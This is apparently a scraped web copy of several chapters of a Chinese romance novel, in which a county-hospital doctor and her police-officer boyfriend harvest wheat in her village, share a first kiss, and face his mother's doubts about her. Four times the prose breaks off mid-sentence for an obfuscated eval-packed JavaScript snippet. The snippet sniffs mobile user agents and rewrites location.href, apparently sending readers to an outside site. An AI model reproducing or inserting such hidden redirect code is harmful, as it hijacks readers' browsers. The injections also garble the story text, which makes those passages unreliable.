星子漫天闪烁,漫无边际地笼罩住大地,何维淑抱着被子走在田垄上,停了两步,等崔承安跟上来后,和他并肩走着。 “农村是不是跟县城里很不一样?你感觉还习惯吗?”何维淑笑着问。 “是不一样,不过很舒服,让人觉得心里很宁静,我很喜欢。” 崔承安点头,又深吸了一口空气,没有建筑遮挡,从无边麦田盈过来的空气不像城里那般燥热,是沉静是清凉的,他们走在田边,隔几亩地就能碰见来守地的,有的就一个人来看着,有的床边还围着一两个贪玩的小孩,撒泼的小狗也跟着疯跑,笑闹声不绝于耳,给本应该寂静的夜晚添了几分热闹。 何维淑有些诧异他的回答,但不过一瞬又莞尔笑起来。 崔承安哪能不知道她想的什么,斜她一眼,哼一声:“我就说你小看我,你还不承认,农村怎么了,谁不是从广大农村里走出来的?就算我是在城里长大,但我爷爷奶奶都是地道的农村人,我爸也是地道的农村小伙,只是后来参军退伍被分配到的县城,所以我也是农村人,你别老觉得我是城里人,会对农村处处不适应。” “你还挺能说会道,我就是笑了一下,又没说什么,你这就长篇大论的等着我了。”到了地方,何维淑示意他把小床放下后,就把被子铺到小床上,拽的整整齐齐,再撑蚊帐,地里的蚊虫数不胜数,不挂蚊帐没法睡人。 崔承安边帮着支支架,方便她操作,边道:“你没这样说,但你这样想了,你那声笑就是证据。” “那坏了,看来我以后连笑都不好笑了,我一笑,你不定就在心里琢磨我在想什么,是不是又在小看你了。”何维淑边说边努力将嘴角下垂,一副正经样子。 崔承安笑眼瞧着她,又哼一声:“你还说我能说会道呢,我看你才是巧舌如簧。” 何维淑将蚊帐挂好,缝隙处系紧压好,“我看电视里都是女主角哼来哼去的,怎么现实倒反过来了。” 崔承安听她这么说,下意识就又要哼一声,迎着她弯弯的眼睛,哼一半硬生生又给憋了回去,“你就看我笑话吧。” “我可没这么说,你别以小人之心度君子之腹。” 崔承安过去牵她的手,无奈道:“是是是,我是小人,您是君子,是小人等着看君子的笑话呢。” 夜风凉爽,一阵一阵地吹过来,夹杂着麦香,两人牵着手踱步,一块儿往家里走,路上碰到人也不避讳,大大方方地打招呼,打完招呼离远了点后,何维淑就压着声音跟崔承安咬耳朵:“刚才那人,按辈分我该叫他一声叔,81年分地的时候,特别不满意村里分给我们家,指桑骂槐说了好几天。” “为什么不让分给你们家?” 何维淑耸耸肩摊手道:“因为我家没男丁啊,也不知道碍着他什么事,分地是按人口分的,一口人两亩地,不论男女老少,就算是不分给我家,他家也不能多分一亩。不过你看他刚才冲我笑得多灿烂,知道为什么吗?” 崔承安很捧场:“为什么?” “因为我在县医院上班,之前村长看病挂号是我帮的忙,自那以后,村里人对着我笑得都跟一朵花一样。其实这也很正常,毕竟人都是趋利的。” 崔承安身为公安,虽然看多了人性的黑暗面,但见她能这么坦然地接受还是有些惊讶:“可你不会觉得难受吗?” 何维淑轻笑,浑不在意道:“这种事我从小到大不知道经历了多少,这种事情都太正常了,你也别光听我说刚才那叔不同意给我家分地就是坏人了,他也帮过我家的,有一年干旱,地里要抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862322|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旱,但我要上学,家里四亩地就只能我妈自己操持,一桶水一桶水地往地里担,他家地挨着我家,没少帮我家一块浇,只能说人是复杂的,可能他这一面让你觉得他很坏,但下一面就又会让你觉得他好像还不错。” 崔承安听她说完若有所思地点点头,想到了手头上的一个命案,案情不算复杂,嫌疑人和受害者是邻居,平日里关系很好,还经常一起喝酒聊天,但嫌疑人却捅了受害者六刀,房间里溅的到处都是血,而嫌疑人自述的杀人动机仅仅是因为受害者买了一辆摩托车,没舍得借给他骑,可邻居们口中的嫌疑人平日里一向温和大方,不像是小心眼的人,谁都想不通就这一件小时怎么能就犯了命案。 所以人真的是多面的复杂的。 两个人往回走,正好碰上洗漱好过来的杨桂英,跟在她身边的大黄先一步闻到小主人的气味,加大马力跑到何维淑身边,吐着舌头绕着圈儿,兴奋得不行。 何维淑笑着摸了摸狗头,又拍了拍嘱咐说:“晚上好好看着啊,明天奖励你鸡肉吃。” 也不知道大黄听懂没有,就看见尾巴摇得欢快。 ***** 第二天天刚蒙蒙亮,村里就开始忙碌起来了,这时候不热,是下地的好时候,再等一会儿太阳高照,能把人晒化。 何维淑和崔承安也没多睡,早早起来刷牙洗脸,拿着镰刀挎着筐就跟着人群一起去地里。 经过昨天一晚上,村里的人都知道何老二家的闺女带了女婿回来,说是城里人还是公安,有那好事地问:“这城里来的也跟着下地?他会割麦吗?别叫镰刀割了腿。” “会不会的,待会儿地里瞧瞧不就知道了,不管会不会,他想娶媳妇,不帮丈母娘家割完两亩地都不行。” 这话一出,几个关系好的老娘们都意有所指地哄笑起来。 崔承安还真不会割,拿着镰刀都手生,弯着腰在地里还没小孩子干得快,太阳渐渐出来,他抹一把额上的汗,抬头看进度远超自己的何维淑,深呼一口气埋头继续干。 太阳渐渐升起来,回家做早饭的杨桂英挎着篮子把饭带过来,站在田边吆喝他俩吃饭。 杨桂英:“我叠的韭菜盒子,打了好几个鸡蛋,还煮的米汤,放了糖的。” 两个人直干一早上,累得腰都直不起来,也是真饿了,捞过饭就大口大口吃起来,崔承安感慨道:“怪不得我爸一直说干什么都没有下地累,以前我还撇嘴,这下我是真体会到了。” 其实他不怕晒,也不怕累,拉练的时候顶着烈日,几公里几公里地跑,也从来没喊过苦,但这两者差别太多,他拉练完肚子饿了,回食堂就能打好肉好菜吃,而种地的人,明明亲眼见着粮食生长收获,但一年到头却很少舍得吃肉,甚至地里不忙的时候,为了省粮食,一天就只吃两顿饭。 他看向不远处三三两两歇息吃饭的人,他们的一辈子就是这样不停地劳作过来的。 15. 公平 剩下的三亩地,三个人一天就收完了,此时天还没黑,其他地里的人还在热火朝天地干。 三个人拿着镰刀拎着筐先行回家,路上崔承安擦了擦汗问:“那下个步骤是干什么?” “脱粒。明天我们把这些麦垛都摊到打麦场上,用拖拉机压,把里面的麦粒都给压出来。”何维淑笑笑,“以前没有拖拉机的时候都是用牛拉着石磙一圈一圈地碾,又累效率又低,现在有了拖拉机轻松多了。不过拖拉机也不是谁家都能买的起的,我们村也就几户人家里有。正好村长也家有一辆,等明天他们自己家用完,就来帮我们压,四亩地,压得快。” “哦。”崔承安挠了挠胳膊,忍不住又去抓了抓腿。 杨桂英注意到他的动作,忙说:“是不是痒了?快走快走,回家洗洗澡,割麦子就是这样,刺挠,弄得身上痒,洗个澡就好了。”这大热的天,讲究点的回家打井水烧热了洗,洒脱点的就直接跳池塘了。 “没关系的,阿姨,就是稍微有一点痒,没那么厉害的。” “那也还是回家洗个澡的好。”杨桂英说完又看向闺女问,“你身上难受不难受?” 何维淑给她检查自己的胳膊腿,一整天都忍着热穿的长袖长裤:“我包的比较严实,不痒。” “那就好。”杨桂英稍稍放下点心,道,“收麦子还是好的,要是收玉米,那是真难受,玉米高呀,整个人都得钻进去,那些个穗子呀啥的,就从这脖领子里钻,痒得不行,一流汗,就更受不了,手上脏,挠又不好挠,越挠越痒,只能忍着赶紧摘完回去洗澡。” 不过他们这边玉米种的少,一般都是一季麦子一季豆子,偶尔有空的地就再点点玉米种子。 三个人到家,杨桂英刚把手上东西放下,马不停蹄就钻进厨房烧水。 何维淑和崔承安洗完澡后,清清爽爽地坐在院子里吹风,累了一天,这时候坐在这里只觉得浑身舒坦。 大黄趴在檐下,两只爪子扒拉着一根大骨头,歪着头不停地咬,何维淑定睛去看,那骨头上坑坑洼洼,看颜色都不知道是哪年哪月的老古董了。 等杨桂英也洗好出来问道:“咱晚上炒肉吃吧?我上午特意去老王头那割的肉。” “好,妈你别忘了先炒肥肉,把里面的油炼出来,把肥肉炒得焦焦的好吃。”何维淑提醒道。 杨桂英笑:“知道你喜欢吃,我哪能忘。承安呢,你喜欢吃肥肉还是瘦肉?” “我都行,阿姨我不挑食。” “不挑食好,不挑食好养活。” 杨桂英边说边进厨房,崔承安很有眼力见地立马跟上去,“阿姨,我给您烧锅。” 吃完饭,天也快黑下来,崔承安搬了小床去麦场睡。 杨桂英在院儿里转了一圈,表情迷茫,总觉得自己好像忘了什么事儿,她眼睛在院子里瞟着,扫过水井时突然一拍脑袋懊恼道:“瞧我这脑子,井里还镇着西瓜呢,跟肉一块儿买的,买回来就让我放井里了,想着晚上吃正好,结果让我给忘得一干二净。” 她说着,过去把西瓜捞上来,西瓜被井水凉了一下午,摸着冰冰凉凉的,她道:“我现在切了,你给承安送过去,他今天干一天活,肯定累坏了,吃点西瓜甜甜嘴。” “他刷过牙了,明天再吃吧。” “这西瓜在井里泡一晚上了,再不吃就坏了,刷过牙就刷过牙,吃完再让他回来刷一遍,又不费什么事。” “那行吧。”何维淑答应下来,回屋去翻手电筒,“妈,手电筒你放哪了?” “就搁我枕头边儿上呢,没找到吗?找不到待会儿我找。” “找到了。”这手电筒买好几年了,是最普通的银白色镀锌铁皮的样式,因为用的时间长,手经常握的地方掉了一层漆,露出锈色的底痕。 何维淑把推纽往前推,“咔哒”一声,手电筒闪了几下才稳定地亮起光束。 杨桂英切完西瓜,装到篮子里,见闺女过来,不由夸起崔承安:“承安这小伙子不错,我今天看他一天了,干活一点不偷懒,一开始不熟练还有点干不好,后面熟悉了,干的又快又好。”话里夸他活干的好,实际是夸他人踏实,从干活上就能看出来,不偷奸耍滑,是个能生活的人。 何维淑听出她的画外音,只羞涩的笑笑不说话。 杨桂英瞧着她笑也跟着笑:“等农忙过去,我就跟人家去换好棉花去。”说完,又自己否决自己,“不行,现在不能换,现在的都是去年的沉棉,等秋天,秋天新棉花下来,我多换点,给你多弹几床棉被。” “好了妈,我不跟你说了,我去送西瓜了。”何维淑脸通红,拎着篮子几乎是落荒而逃。 杨桂英笑起来,笑里有几分放心,却又夹着丝几不可察的怅然。 何维淑打着手电出门,大黄也慌忙跟上来,“出溜”一下跑到前面去,跑出不远,大概是见小主人没跟上来,就又返回来,为此乐此不疲。 崔承安躺在小床上,看着天上的星星,眼皮慢慢变重,脑中刚闪过“明天应该是个好天气”这个念头,整个人几乎就陷入沉沉的睡眠中。 但大概是心里还抱着要守夜的想法,并不敢睡死过去,床边刚有人靠近,就警觉地立马睁开眼。 何维淑远远见他不动弹以为他睡了,正蹑手蹑脚地走到床边,还特意拍了拍大黄的脑袋,示意它安静点别闹腾,没想到就被人逮个正着,她摸了摸鼻子讪笑:“我以为你睡着了。” 崔承安坐起来,嗓音有点沙哑:“眯着呢,还没睡着,你怎么这时候过来了?”他伸手将掖好的蚊帐拉开道缝,让她钻进来,免得被蚊子叮咬。 “我妈给你切了西瓜让我送过来。”何维淑把手电筒平放在床上,照出点光,又把篮子里的西瓜拿出来递给他。 崔承安接过西瓜轻轻咬了一口,汁水在口腔里炸开,顺着喉道下滑,脆甜中带着凉意。 何维淑看向他,他低垂着眼吃得认真,眉骨凸起,睫毛长长垂下,在眼下扫出深深的阴影。 她视线移到他胳膊上,上面又添几道鼓包,鼓包边缘泛着红色,是他才抓挠出来的,蚊子多会搁着蚊帐孔洞处叮咬人,就是帐了蚊帐也抵挡不住。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862323|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她抿了下唇,从篮子里掏出刚才特意带过来的花露水,拧开盖子倒到他胳膊上,轻轻用手涂开,崔承安立马看过去,眼神更加柔和。 清凉的花露水味道弥漫出来,萦绕在两人鼻尖。 手电筒灯光昏暗,不自知间,何维淑与他之间的距离越拉越近,崔承安看着她头顶,星光之下,迷离暧昧。 “涂好了,这瓶花露水给你放这,你夜里再被咬了就涂它,别用手抓,抓破容易感染。”何维淑将花露水的绿色瓶盖拧紧,抬头递给他。 “……噢好。”崔承安迎着她不解的目光,恍然回神,拿过花露水放到枕头下。 何维淑笑起来,打趣道:“刚想什么呢,想这么入神,我跟你说话都听不见。” 崔承安的脸“腾”的变红,也就是仗着晚上光线不好才没被她发现,他摸了摸鼻尖,“没想什么。” 一听就是假话,何维淑撇撇嘴,也不追问,拿过篮子看了眼,里面还剩一牙西瓜,“你快吃掉,吃完我把篮子拿回去。” “噢。”崔承安刚出过糗,现在一副她说什么就听什么的样子,瞧着比大黄还听话。 何维淑看着他侧脸,嘴角上扬,猛然俯上去在他颊边亲了一口。 崔承安顿住,想被施了定身术般,眼睛直愣愣地盯着前方,手里的西瓜差点没掉下去。 何维淑亲完招呼一声大黄,脚踩在地面上,拿着篮子就要走。 崔承安这下终于反应过来,连忙抓住她的手,何维淑看过去,就见他眼中迸射出欣喜,亮晶晶的。 始作俑者何维淑笑得轻快,扭了扭手撒娇般道:“你弄疼我了。” 崔承安忙松开手,又怕她趁机逃跑一样转而拽着她衣角,将另外一半脸也贴了上去,道:“你可不能厚此薄彼,还有这边呢。” 何维淑要被气笑了,抬手拍在他脸上:“你还挺懂公平。” “那可不,我是人民公安,讲的就是一个公平客观。” “你客观你的,我要讲主观。” “那你的主观是什么?”他眼睛紧盯着她的,像蛇一样极具魅惑,又伺机而动。 何维淑没注意到他的小动作,食指点在他的脑门处,把他轻轻推开:“我主观就是不想给你公平。” “不想亲就是不想亲,还不想给我公平,说的真有文化,拐弯抹角的。”崔承安眼角含笑。 “嘿,我辩不过你,我不跟你说了。”何维淑转身要走,这时才发现自己早已踏进他圈套,腰间被两只手箍住,整个人都在他的势力范围内,想走都走不了。 崔承安笑起来:“这下你不想公平也得公平了。” 何维淑不爽地鼓脸,将头别过去。 崔承安哪舍得逼迫她,将人拉到腿上,低沉着声音道:“既然你不想讲这种公平,那我们换一种公平。” 何维淑挑眉,刚想等着他解释所谓“换一种公平”是什么时,就感觉眼前擦过一道黑影,脸颊一热。 “好了,你亲我一下,我也亲你一下,这很公平。”崔承安眸色暗沉,语气甚是得意。 16. 第 16 章 崔承安是得意了,何维淑不爽地去拧他脸颊肉,“让我看看,你这脸皮是什么做的,怎么比城墙还厚。” 崔承安“哀哀”喊疼,眉头轻蹙,眼尾下垂,一副可怜样。 何维淑下意识松开手,眼中心疼愧疚刚浮现,就见他抱着她闷闷地坏笑:“你怎么这么好骗?” 何维淑又上一当,就是不生气也要被他弄恼火了,瞪他一眼起身就要走。 崔承安连忙拉着她,非常识时务地道歉:“对不起,我错了,我不该捉弄你。” “晚了。”何维淑下决心不吃他这一套,从他腿上起来,朝不远处喊了声,“大黄,回家了。” 黑夜中传来动静,大黄的喘气声由远及近,“哼哧哼哧”地跑到她腿边。 崔承安悠悠拉住她手里的篮子,“我拎着。” “你拎着就你拎着,大黄,我们走。”何维淑昂头背手走在前面,大黄跟在她旁边扭着屁股耀武扬威。 崔承安看着她俩的背影,不禁地笑,只觉得回到家的她,整个人都更松弛自然,像倦鸟回归山林。 第二天晌午吃饭的时候,杨桂英道:“等吃完饭你们就回去吧,回去好好睡一觉,明天好起来上班。” 何维淑刚想开口拒绝,杨桂英眼神示意厨房里盛饭的崔承安,压着声音说:“他没干过农活,这一下干这么多,肯定累了,让他回去好好歇歇。” 何维淑眼神一顿,刚才的话咽回去,点点头答应:“那行,那我们过会儿就走。” “行。”杨桂英笑起来,“正好番茄、黄瓜都熟了,你们摘了带回去,省得我再给你送了。” 崔承安盛完饭从厨房出来,何维淑道:“我们吃完饭就回县城。” 崔承安惊讶问:“不等麦粒脱完收拾好再走吗?” 杨桂英:“不用等,剩下的我自己就干完了,你们回去吧。” 崔承安还想再说,杨桂英笑道:“行了,知道你们心疼我,想帮我多干点,但那些活儿你们就是留下来一晚上也干不完,你们走后,我自己慢慢干,不会累着的。” 吃完饭,杨桂英从房间里出来,一沓钱放在红布上放到崔承安手上,崔承安看了一眼就忙推拒:“不用阿姨,真不用。” 杨桂英把钱按在他手上,笑道:“这可不能说不要,这是规矩,没多少钱,你别嫌弃就行。” 崔承安转头看向何维淑,何维淑点点头:“我妈认可你,你就拿着吧。” “那好,谢谢阿姨。”听到这话,崔承安小心收下,把钱重新用红布包住,放到带来的包夹层里。 杨桂英把人送到村口,何维淑坐上摩托车后座道:“妈,我们走了,那些活儿你别着急干,干一会儿就歇一会儿,注意身体。” “哎!我知道,你就别担心我了,你回去也别老是看书,每次一学起来,就忘吃饭。” “走了。”何维淑冲着后面招手,摩托车骑上被夯实的泥土地,久未下雨的地面干裂牢固,车轮一过,扬起飞沙,路上坑洼处有发黄的水,是往来路过的牛和驴撒的尿。 杨桂英定定站着看着他们远去的背影,旁边人打趣道:“我瞅着你们家这是快要办好事了呀?” 杨桂英只笑,另一人也说:“这年底能办不?” “能不能的,我也不做主,一切都得看我闺女的想法,看她吧,看她啥时候想办。” “到时候可别忘了我们的喜糖昂!” “哎呦呦,这话说的,忘了谁都忘不了你的。”杨桂英上去在她屁股上拍了一下,老姐妹几个说说笑笑地往回走,边走又边聊起了地里的事儿。 那边两人回到县城,崔承安把何维淑送到楼下,何维淑拿着自己的东西往楼道去,走了两步迟疑地回头:“……你热不热?要不要上去吹会儿风扇?” 崔承安眼睛一亮,立马从车上下来,将车支好,叠声道:“要要要。” 何维淑瞧他这不值钱的样,嗔道:“傻乐什么呢,这边不能停车,停棚子下面去。” “哎!我现在就去。”崔承安又跨上车。 “你先把东西拿下来啊,难不成你要跟车一块儿放棚子下?老胡叔那边忙,只能看车,可看不了车上的东西。” 崔承安又忙下来,一边不好意思地笑一边把包拎到楼里阴凉处,挠了挠头道:“你先在这边等我,我马上回来。” “傻样。”何维淑睨他一眼。 她嘴里嫌弃他,但还是老老实实在楼下等着。 宿舍楼来来往往的都是人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862324|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还都是医院里的同事,互相都认识,别人看见她站在这,都打着招呼问一声:“何大夫,等人啊?” “啊是。”何维淑笑笑。 别人问过也就走,不过因为好奇,走两步还要回头看能不能看到等的是谁。 何维淑没在乎过往人的目光,视线放到前面,崔承安拎着什么东西跑过来。 “你又去小卖部了?” “嗯。”崔承安把袋子里的冰棍拿出来撕开袋子给她,“我看你出了一头汗,吃一个凉快凉快。”说完将地上的包都拿起来跟在她身后上楼。 何维淑的房间在二楼边上,她拿出钥匙打开门,指了指门边的角落道:“包就放这里吧。” “哦。” 崔承安小心翼翼地跨进来,打量了下房间,脑中顿时浮现一个词:“整洁”,房间不大,门的左手边是一个衣柜,衣柜前靠墙放着一张单人床,床头边靠窗是一张桌子,门的右手边分门别类放着平常的日用品,房间里的所有东西都摆放的整整齐齐,被子叠好放在床头,上面铺着枕头,椅子推进桌子下,桌子上的书本码得跟砖头一样,连一个翘角都没有,打眼一看,还以为是从未翻过的新书。 他看着这与自己完全不是一个风格的房间,都无从下脚,只感觉一进去这个房间最大的垃圾就要变成自己。 何维淑走到桌前倒水,扭头一看人还站在门口,诧异问道:“怎么不进来?” “现在进。”崔承安进来后关上门,搓着手不知道站哪。 何维淑瞧他这束手束脚的样子,“噗嗤”笑出声,拉开椅子说:“你坐这,喏,喝水。” 崔承安接过杯子小口啜着。 何维淑见状还有些不敢相信,惊奇问:“你什么时候变得这么斯文了?” 崔承安脸红,嘴硬道:“我不是一直这样吗?” 何维淑撇嘴,眼带笑意:“行吧,你说什么就是什么吧,我不反驳你。” 她不反驳,崔承安倒要顺杆子往上爬:“这说明什么你知道吗?” “什么?” “说明你还不够了解我,说明你对我不上心,真让我伤心。” 何维淑不可置信地睁大眼:“你可真会倒打一耙。” “哼哼。” 17. 亲吻 “说让你吻我吗?” 崔承安的眼睛在房间里扫着,看到窗框有些松动,何维淑注意到他的眼神道:“这个我住进来的时候就是这样,我自己尝试着修了一下没修好,想着反正也不影响用,就没管它。” 崔承安上手晃了晃说:“你这个还是要注意一下,万一开合的时候手上劲儿用大了,可能就不小心掉下去了,不过掉下去还是小事,万一砸到人就麻烦了。这个你这边有工具吗?我试试。” “有,我妈给我准备了一个。”何维淑从床底拉出来一个箱子,打开,里面有锤子钉子等一些常用工具,不是很全,但也够用了。 崔承安拿起工具就要去重新钉窗框,但桌子挡在前面,怎么着都有点碍事。 何维淑见状把桌子移到一边,自己站到他旁边,随时准备着给他递工具。 崔承安动作娴熟,一手按住窗框,一手拿着锤子,小臂用力到微微暴起青筋,敲击声有规律的在房间里响起,像鼓点一般扣着何维淑的心弦。 她仰头看着他笑道:“以前家里漏雨的时候,我妈就是这样踩着板凳或者架着梯子修房顶,雨特别大,打在脸上都让人睁不开眼,但我妈一点都不怕,穿着蓑衣拿着工具爬上爬下,不一会儿,房顶就被她修理好了,她认真干活的时候表情特别坚毅。” 崔承安低头从她手上接过钉子,不正经地笑说:“所以你现在是不是觉得我跟阿姨有点像?特别有魅力,是不是要拜倒在我的石榴裙下了?” 何维淑白他一眼:“是啊,你的石榴裙呢?你一穿上,我马上就拜倒。” “就在我身上呢,你没看见吗?”崔承安微微张嘴以示惊讶,双手放到腿边比了个提裙的动作,“好吧,只有聪明人才能看到我的石榴裙,你看不到,那说明什么呢?” 何维淑微笑:“说明拜倒你石榴裙下的另有其人。” 崔承安左右看去,食指伸到嘴边“嘘”道:“这话可不兴说,被我女朋友听见,她要吃醋的。” “那真可惜,现在这个房间里就我们两个人,你女朋友知道你跟别的女性共处一室,肯定要生气,估计要跟你分手哦。” “我怎么听着,你有些幸灾乐祸呢?”崔承安跟她玩闹的同时,手里的活计也没放下,一根钉子钉好,立马就换下一根。 “有吗?没有吧。”何维淑不承认。 崔承安将最后一根钉子钉上后,将锤子放回工具箱里,何维淑还弯着腰看他整理箱子呢,突然就被人抱起来,崔承安狞笑着:“这下没办法了,你现在被我抱在怀里,失了清白,只能抛弃你男朋友跟我在一起了。” 他又换一个剧本,何维淑差点没笑出声,搂着他脖子陪着他演:“那好吧,看来我跟他是有缘无份了。” 两个人瞬间憋不住,哈哈大笑起来,笑得腰都直不起来,何维淑啧啧说:“我觉得你当警察真是屈才了,你应该当作家,肯定能比肩琼瑶。” 崔承安眉一挑,故作惊讶道:“你怎么知道我最喜欢琼瑶的小说?高中上课我都是把琼瑶当语文课本看的。” “你嘴里真是真真假假,不像公安,倒像个骗子。” “骗子吗?”崔承安上前一步逼近她,突然弯腰凑到她耳边,压着声音说,“是不是骗走了你的心?”语气暧昧又极具蛊惑。 何维淑不说话,也不推开他,只是用眼睛盯着他。 崔承安从里面看出了挑衅,他挑眉,用手指挑起她下巴,拇指在唇瓣上摩挲,眼神在她脸上流连,声音低沉问:“怎么不说话?” “说让你吻我吗?” “你是在邀请我吗?” 何维淑没回答,嘴角轻轻上挑。 崔承安喉头滚动,眼神暗下去,摸着她的唇边亲了上去。 两个人言语上调/情时,像个老手一样,但一见真章就立马现原形,嘴唇贴着嘴唇,像被冻僵了一样,谁也动不了。 何维淑眼睛眨呀眨,崔承安无奈道:“要闭眼。” “哦。”何维淑听话,乖乖闭上眼,世界陷入一片黑暗,触感便被无限放大,他的嘴唇又贴上来,软软嫩嫩,又带着灼人的温度,正当她想感受他唇瓣的形状时,一个湿濡的东西伸过来,经常与口腔打交道的她,几乎是一瞬间就反应过来那是什么。 她抓上他衣领,只觉得腿有些发软,腿弯不自觉向下,不过一瞬,腰就被搂住,撑着她压向他的怀里。 两人生涩地交换唾液,气喘吁吁地分开,四目相对,都有些羞意,嘴上说是一回事,真要那么做了就又是另外一回事了。 何维淑没了力气,推了推他,沿着床边坐下,崔承安食髓知味,整个人都跟过来,单腿跪在她面前,拉着她双手往自己身上缠,嘴唇又纠缠过去。 两人一个坐着微微低头,一个跪着仰头,直吻得昏天暗地、气息不稳。 崔承安离开时脸颊发烫,手心里出的都是汗,身体某个地方硬得隐隐作痛,他赶紧骑上摩托车回家,一到家就赶忙进浴室冲澡,洗完澡出来找衣服换时才发现自己的衣服落在何维淑那里了。 董芳苓听见动静过来敲门,崔承安连忙穿好衣服去开门,“怎么了妈?” “没事,我就看是不是你回来了,这几天没见你人影,又出任务去了?” 崔承安想到下午的吻,脸庞泛红如实回道:“女朋友家收麦子,我帮忙去了。” 董芳苓沉默,到了晚上,她躺到床上长叹一声。 崔建同抖了抖报纸,随口问:“怎么了?” “我看儿子恐怕真是认定了那姑娘了。” 崔建同:“只要他不是乱来,就不是什么大事。” “在你眼里就没有什么是大事。”董芳苓白他一眼,“你什么都不懂,就别乱说。” “你说了我不就懂了。” “主要这姑娘风评不太好。” “怎么个不好法?” 董芳苓:“你知道你儿子怎么跟她处上的吗?那姑娘原本是你儿子同事的相亲对象,被你儿子看上截胡了!” 崔建同皱眉:“这事做的是不太地道。不过要是人俩真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862325|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两情相悦,他同事也没什么意见的话,倒也不失为一种缘分。” 董芳苓撇嘴:“不止这些,听说这姑娘高中听说这姑娘高中时就跟一男同学纠纠缠缠好几年,你说这……不行,我得去打听打听这姑娘的为人,要是不好,也早点让他俩断,要不然看那臭小子的样子,我是真不放心。” 崔建同把报纸好好放在床头柜上,问:“那姑娘现在在哪个单位上班?” “县医院,哪个科室我就不知道了。” “叫什么名字?我回头问问闻院长。” “叫何维淑,等着,我现在下床写给你。”董芳苓说完就下去找了纸笔写上名字拿到他面前,“就是这三个字,你抽空去问问,别忘了。” 崔建同捏着眼镜框往上移,眯着眼看了看纸条:“不会。” 第二天何维淑正常上班,小冯护士凑到她身边神秘兮兮道:“听说你昨天下午带了个男人回宿舍?是不是那个谁?” “你消息怎么这么灵通?”何维淑嘴上这么问,但心里一点没感到诧异,毕竟昨天下午不少人都看见了。 “你别管,你快说是不是。” 何维淑无奈点头:“是是是。” 小风护士一脸好奇,“你们俩到哪一步了?牵手?拥抱?亲吻?”她边说边观察何维淑神色,了然道,“哦~已经亲吻了呀,感觉是不是特别美妙?” 她们私底下也经常聊这些话题,这种太正常了,毕竟只要是人都会有欲望有反应。 何维淑伸手就要打她:“你怎么这么八卦?” 小冯护士撒娇道:“说说嘛,说说嘛。” 何维淑瞥她一眼:“你先说说你,你跟颜医生怎么样了?”颜医生人如其姓,颜值很高,小冯刚进院就看上他了,一直断断续续地追着,说断断续续是因为两人都忙,有时间的时候才在人面前出现一下。 小冯说起这个就想叹气:“没你这么顺利,看来我是真的要一直做咱们这层楼的一朵花了。” “怎么回事?上周你不还跟我说颜医生答应周六跟你出去吃饭吗?” “他答应是答应了,吃也吃了,但他全程都十分正经,饭刚吃饭就抢着买单。” “这听上去也没什么毛病呀。” “问题是一出饭店他就拉着我,很认真地跟我说让我别再在他身上浪费时间,亏我当时还心怦怦跳,以为他拉住我是要亲我呢,真是辜负我感情。” 何维淑不地道地笑起来,在她的瞪眼下硬是把笑又给憋了回去,安抚道:“好吧好吧,看你这么惨,我就满足一下你的好奇心吧,嗯,很美妙。” 小冯护士一脸幽怨:“怎么办,我一点都没有被安慰到,反而还更伤心了。” 何维淑拍拍她的肩膀:“有句话说得好,三条腿的蛤蟆不好找,两条腿的男人满街跑,颜医生不行,那咱们就换一个。” 冯语气幽幽:“两条腿的男人是满街跑,但你看那些满街跑的男人有几个能比得上颜医生?” 这倒是,何维淑噎住。